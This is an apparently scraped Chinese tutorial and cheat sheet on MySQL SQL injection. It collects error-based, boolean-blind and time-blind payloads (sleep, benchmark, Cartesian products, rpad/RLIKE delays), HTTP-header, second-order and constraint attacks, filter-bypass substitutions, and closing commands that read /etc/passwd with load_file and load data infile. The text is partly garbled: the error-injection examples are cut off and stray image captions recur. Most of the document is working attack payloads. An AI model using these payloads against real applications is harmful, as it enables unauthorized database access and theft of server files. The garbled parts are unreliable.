1.floor() select * from test where>
2.extractvalue()
select * from test where>
3.updatexml()
select * from test where>
4.geometrycollection()
select * from test where>
5.multipoint()
select * from test where>
6.polygon()
select * from test where>
7.multipolygon()
select * from test where>
8.linestring()
select * from test where>
9.multilinestring()
select * from test where>
10.exp()
select * from test where>
效果:
SQL注入基础整理及Tricks总结
3.布尔盲注 常见的布尔盲注场景有两种,一是返回值只有True或False的类型,二是Order by盲注。 返回值只有True或False的类型
如果查询结果不为空,则返回True(或者是Success之类的),否则返回False
这种注入比较简单,可以挨个猜测表名、字段名和字段值的字符,通过返回结果判断猜测是否正确
例:parameter=’ or ascii(substr((select database()) ,1,1))<115—+ Orderby盲注
order by rand(True)和order by rand(False)的结果排序是不同的,可以根据这个不同来进行盲注:
id=' or sleep(3)%23 id=' or if(ascii(substr(database(),1,1))>114,sleep(3),0)%23
查询结果正确,则延迟3秒,错误则无延时。 2.benchmark()
通过大量运算来模拟延时:
id=' or benchmark(10000000,sha(1))%23 id=' or if(ascii(substr(database(),1,1))>114,benchmark(10000000,sha(1)),0)%23
本地测试这个值大约可延时3秒:
SQL注入基础整理及Tricks总结
3.笛卡尔积
计算笛卡尔积也是通过大量运算模拟延时:
select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C select balabala from table1 where '1'='2' or if(ascii(substr(database(),1,1))>0,(select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C),0)
select * from table1 where 1=1 and if(mid(user(),1,1)='r',concat(rpad(1,349525,'a'),rpad(1,349525,'a'),rpad(1,349525,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+asdasdsadasd',1);
select * from table1 where 1=1 and if(mid(user(),1,1)='r',concat(rpad(1,349525,'a'),rpad(1,349525,'a'),rpad(1,349525,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+asaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd',1);
这个长度大概是2秒:
select * from table1 where 1=1 and if(mid(user(),1,1)='r',concat(rpad(1,349525,'a'),rpad(1,349525,'a'),rpad(1,349525,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+asaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddasaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddasdasdasdasdasdasdasdasdasdasdasdadasdasdasdasdasdasdasdasdasdasdasd',1);
5.HTTP头注入 用于在cookie或referer中存储数据的场景,通常伴随着base64加密或md5等摘要算法,注入方式与上述相同。 6.HTTP分割注入 如果存在一个登录场景,参数为username&password
查询语句为select xxx from xxx where username=’xxx’ and password=’xxx’
但是username参数过滤了注释符,无法将后面的注释掉,则可尝试用内联注释把password注释掉,凑成一条新语句后注释或闭合掉后面的语句:
例如实验吧加了料的报错注入:
select * from users where username='1' or extractvalue/*'and password='1*/(1,concat(0x7e,(select database()),0x7e))) or '';
当然这种注入的前提是单引号没有被过滤。如果过滤不太多的话,其实也有很多其他的方式如:
POST username=1' or if(ascii(substr(database(),1,1))=115,sleep(3),0) or '1&password=1 凑成:
select * from users where username='1' or if(ascii(substr(database(),1,1))>0,sleep(3),0) or '1' and password='1'
username=admin'and(strcmp(&password=,'asdasdasdasdasdasd'))and'1 这样凑成:
select username from users where username='admin'and(strcmp('and password=','asdasdasdasdasdasd'))and'1'
strcmp比较,二者不一致返回True,一致返回False,而MySQL会将’1’判断为数字1,即True,因此该查询语句结果为True 7.二次注入 二次注入就是攻击者构造的恶意payload首先会被服务器存储在数据库中,在之后取出数据库在进行SQL语句拼接时产生的SQL注入问题
假如登录/注册处的SQL语句没有可以注入的地方,并将username储存在session中,而在登录之后页面查询语句没有过滤,为:
select * from users where username=’$_SESSION[‘username’]’
则我们在注册的时候便可将注入语句写入到session中,在登录后再查询的时候则会执行SQL语句:
如username=admin’#,登录后查询语句为:
select * from users where username='admin' #'
就构成了SQL注入。 8.SQL约束攻击 假如注册时username参数在mysql中为字符串类型,并且有unique属性,设置了长度为VARCHAR(20)。
则我们注册一个username为admin[20个空格]asd的用户名,则在mysql中首先会判断是否有重复,若无重复,则会截取前20个字符加入到数据库中,所以数据库存储的数据为admin[20个空格],而进行登录的时候,SQL语句会忽略空格,因此我们相当于覆写了admin账号。 二、基础绕过1.大小写绕过 用于过滤时没有匹配大小写的情况:
SelECt * from table; 2.双写绕过 用于将禁止的字符直接删掉的过滤情况如:
preg_replace(‘/select/‘,’’,input)
则可用seselectlect from xxx来绕过,在删除一个select后剩下的就是select from xxx 3.添加注释
and -> && or -> ||
空格-> /**/ -> %a0 -> %0a -> +
# -> --+ -> ;%00(php<=5.3.4) -> or '1'='1
= -> like -> regexp -> <> -> in
注:regexp为正则匹配,利用正则会有些新的注入手段
常用函数的替代
字符串截取/拼接函数:
摘自https://xz.aliyun.com/t/7169
函数说明SUBSTR(str,N_start,N_length)对指定字符串进行截取,为SUBSTRING的简单版。SUBSTRING()多种格式SUBSTRING(str,pos)、SUBSTRING(str FROM pos)、SUBSTRING(str,pos,len)、SUBSTRING(str FROM pos FOR len)。RIGHT(str,len)对指定字符串从最右边截取指定长度。LEFT(str,len)对指定字符串从最左边截取指定长度。RPAD(str,len,padstr)在 str 右方补齐 len 位的字符串 padstr,返回新字符串。如果 str 长度大于 len,则返回值的长度将缩减到 len 所指定的长度。LPAD(str,len,padstr)与RPAD相似,在str左边补齐。MID(str,pos,len)同于 SUBSTRING(str,pos,len)。INSERT(str,pos,len,newstr)在原始字符串 str 中,将自左数第 pos 位开始,长度为 len 个字符的字符串替换为新字符串 newstr,然后返回经过替换后的字符串。INSERT(str,len,1,0x0)可当做截取函数。CONCAT(str1,str2…)函数用于将多个字符串合并为一个字符串GROUP_CONCAT(…)返回一个字符串结果,该结果由分组中的值连接组合而成。MAKE_SET(bits,str1,str2,…)根据参数1,返回所输入其他的参数值。可用作布尔盲注,如:EXP(MAKE_SET((LENGTH(DATABASE())>8)+1,'1','710'))。函数/语句说明LENGTH(str)返回字符串的长度。PI()返回π的具体数值。REGEXP “statement”正则匹配数据,返回值为布尔值。LIKE “statement”匹配数据,%代表任意内容。返回值为布尔值。RLIKE “statement”与regexp相同。LOCATE(substr,str,[pos])返回子字符串第一次出现的位置。POSITION(substr IN str)等同于 LOCATE()。LOWER(str)将字符串的大写字母全部转成小写。同:LCASE(str)。UPPER(str)将字符串的小写字母全部转成大写。同:UCASE(str)。ELT(N,str1,str2,str3,…)与MAKE_SET(bit,str1,str2...)类似,根据N返回参数值。NULLIF(expr1,expr2)若expr1与expr2相同,则返回expr1,否则返回NULL。CHARSET(str)返回字符串使用的字符集。DECODE(crypt_str,pass_str)使用 pass_str 作为密码,解密加密字符串 crypt_str。加密函数:ENCODE(str,pass_str)。7.逗号被过滤用join代替:
-1 union select 1,2,3
-1 union select * from (select 1)a join (select 2)b join (select 3)c%23 limit:
limit 2,1
limit 1 offset 2 substr:
substr(database(),5,1)
substr(database() from 5 for 1) from为从第几个字符开始,for为截取几个
substr(database() from 5)
如果for也被过滤了
mid(REVERSE(mid(database()from(-5)))from(-1)) reverse是反转,mid和substr等同 if:
if(database()=’xxx’,sleep(3),1)
id=1 and databse()=’xxx’ and sleep(3)
select case when database()=’xxx’ then sleep(5) else 0 end 8.limit被过滤 select user from users limit 1
加限制条件,如:
select user from users group by user_id having user_id = 1 (user_id是表中的一个column) 9.information_schema被过滤 innodb引擎可用mysql.innodb_table_stats、innodb_index_stats,日志将会把表、键的信息记录到这两个表中
除此之外,系统表sys.schema_table_statistics_with_buffer、sys.schema_auto_increment_columns用于记录查询的缓存,某些情况下可代替information_schema 10.and or && ||被过滤 可用运算符! ^ ~以及not xor来代替:
例如:
真^真^真=真 真^假^真=假
真^(!(真^假))=假
……
等等一系列组合
eg: select bbb from table1 where ‘29’=’29’^if(ascii(substr(database(),1,1))>0,sleep(3),0)^1;
真则sleep(3),假则无时延 三、特定场景的绕过1.表名已知字段名未知的注入join注入得到列名:
条件:有回显(本地尝试了下貌似无法进行时间盲注,如果有大佬发现了方法可以指出来)
第一个列名:
select * from(select * from table1 a join (select * from table1)b)c
SQL注入基础整理及Tricks总结
第二个列名:
select * from(select * from table1 a join (select * from table1)b using(balabala))c
SQL注入基础整理及Tricks总结
第三个列名:
select * from(select * from table1 a join (select * from table1)b using(balabala,eihey))c
SQL注入基础整理及Tricks总结
以此类推……
在实际应用的的过程中,该语句可以用于判断条件中:
类似于select xxx from xxx where ‘1’=’1’ and 语句=’a’
SQL注入基础整理及Tricks总结
join利用别名直接注入:
上述获取列名需要有回显,其实不需要知道列名即可获取字段内容:
采用别名:union select 1,(select b.2 from (select 1,2,3,4 union select * from table1)b limit 1,1),3
该语句即把(select 1,2,3,4 union select * from users)查询的结果作为表b,然后从表b的第1/2/3/4列查询结果
当然,1,2,3,4的数目要根据表的列名的数目来确定。
select * from table1 where '1'='' or if(ascii(substr((select b.2 from (select 1,2,3,4 union select * from table1)b limit 3,1),1,1))>1,sleep(3),0)
因此可以按照下面的逻辑来构造语句:
parameter=1 and 语句 or cot(0)
若语句为真,则返回正确结果并忽略后面的cot(0);语句为假,则执行后面的cot(0)报错
SQL注入基础整理及Tricks总结
无回显的情况:
select * from table1 where 1=1 and if(mid(user(),1,1)='r',benchmark(10000000,sha1(1)),1) and cot(0); 或
select * from table1 where 1=1 and if(mid(user(),1,1)='r',concat(rpad(1,349525,'a'),rpad(1,349525,'a'),rpad(1,349525,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+asaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddasaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddasdasdasdasdasdasdasdasdasdasdasdadasdasdasdasdasdasdasdasdasdasdasd',1) and cot(0);
用rpad+rlike以及benchmark的时间盲注可以成功,但是sleep()不可以,不太清楚原因。 (2)mysql error的前提下延时与不延时
这个看起来有点别扭,就是不管查询结果对还是不对,一定要mysql error
还是感觉很别扭吧……网鼎杯web有道题就是这样的场景,insert注入但是只允许插入20条数据,所以不得不构造mysql error来达到在不插入数据的条件下盲注的目的。详情见网鼎杯Writeup+闲扯
有个很简单的方法当时没有想到,就是上面rpad+rlike的时间盲注,因为当时sleep测试是没法盲注的,但是没有测试rpad+rlike的情况,这个方法就是:
假 or if(语句,rpad延时语句=’a’,1) and cot(0)
这样,无论语句是真是假,都会向后执行cot(0),必然报错
如果语句为真,则延时,如果语句为假,则不延时,这就完美的达到了目的
payload:
select * from table1 where 1=0 or if(mid(user(),1,1)='s','a'=benchmark(1000000,sha1(1)),1) and cot(0); 或
select * from table1 where 1=0 or if(mid(user(),1,1)='s','a'=concat(rpad(1,349525,'a'),rpad(1,349525,'a'),rpad(1,349525,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+asaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddasaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddasdasdasdasdasdasdasdasdasdasdasdadasdasdasdasdasdasdasdasdasdasdasd',1) and cot(0);
select load_file(file_path); load data infile "/etc/passwd" into table 库里存在的表名 FIELDS TERMINATED BY 'n'; #读取服务端文件
load data local infile "/etc/passwd" into table 库里存在的表名 FIELDS TERMINATED BY 'n'; #读取客户端文件